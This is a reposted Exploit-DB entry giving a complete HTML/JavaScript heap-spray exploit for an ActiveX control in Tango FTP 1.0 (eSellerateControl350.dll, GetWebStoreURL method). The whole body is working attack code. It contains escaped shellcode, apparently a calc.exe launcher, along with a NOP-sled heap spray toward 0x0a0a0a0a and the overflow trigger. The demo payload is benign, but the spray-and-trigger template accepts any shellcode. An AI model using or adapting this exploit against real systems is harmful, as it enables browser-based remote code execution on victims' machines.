Tango FTP 1.0 (Build 136) – Activex HeapSpray

  • 作者： metacom
    日期： 2015-06-19
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/37320/
  • <HTML>
<BODY>
<input language=JavaScript onclick=Tryme() type=button value="Launch Calc">
<object id=boom classid="clsid:{25982EAA-87CC-4747-BE09-9913CF7DD2F1}"></object>
<br>Tango FTP Activex Heap Spray Exploit</br>
<br>Version:1.0(Build 136)</br>
<br>The vulnerability lies in the COM component used eSellerateControl350.dll (3.6.5.0) method of the ''GetWebStoreURL' member.</br>
<br>Vendor Homepage:http://www.tangoftp.com/index.html</br>
<br>Software Link:http://www.tangoftp.com/downloads/index.html</br>
<br>Author: metacom</br>
<!--Video Poc:http://bit.ly/1fjtq89 -->
<SCRIPT>

var heapspray=unescape( "%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
"%u652E%u6578%u9000");

	var sprayContainer = unescape("%u9090%u9090");
	var heapToAddress = 0x0a0a0a0a;


function Tryme()
{
var size_buff = 5000;
var x =unescape("%0a%0a%0a%0a");
while (x.length<size_buff) x += x;
x = x.substring(0,size_buff);

boom.GetWebStoreURL(x, 1);
}


 function getsprayContainer(sprayContainer, sprayContainerSize)
	{
		while (sprayContainer.length*2<sprayContainerSize)
		{
			sprayContainer += sprayContainer;
		}
		sprayContainer = sprayContainer.substring(0,sprayContainerSize/2);
		return (sprayContainer);
	}

var heapBlockSize = 0x500000;
var SizeOfHeap = 0x30;
	var payLoadSize = (heapspray.length * 2);

	var sprayContainerSize = heapBlockSize - (payLoadSize + SizeOfHeap);
	var heapBlocks = (heapToAddress+heapBlockSize)/heapBlockSize;

	var memory = new Array();
sprayContainer = getsprayContainer(sprayContainer,sprayContainerSize);

	for (i=0;i<heapBlocks;i++)
{
memory[i] = sprayContainer +heapspray;
}

</SCRIPT>
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</HTML>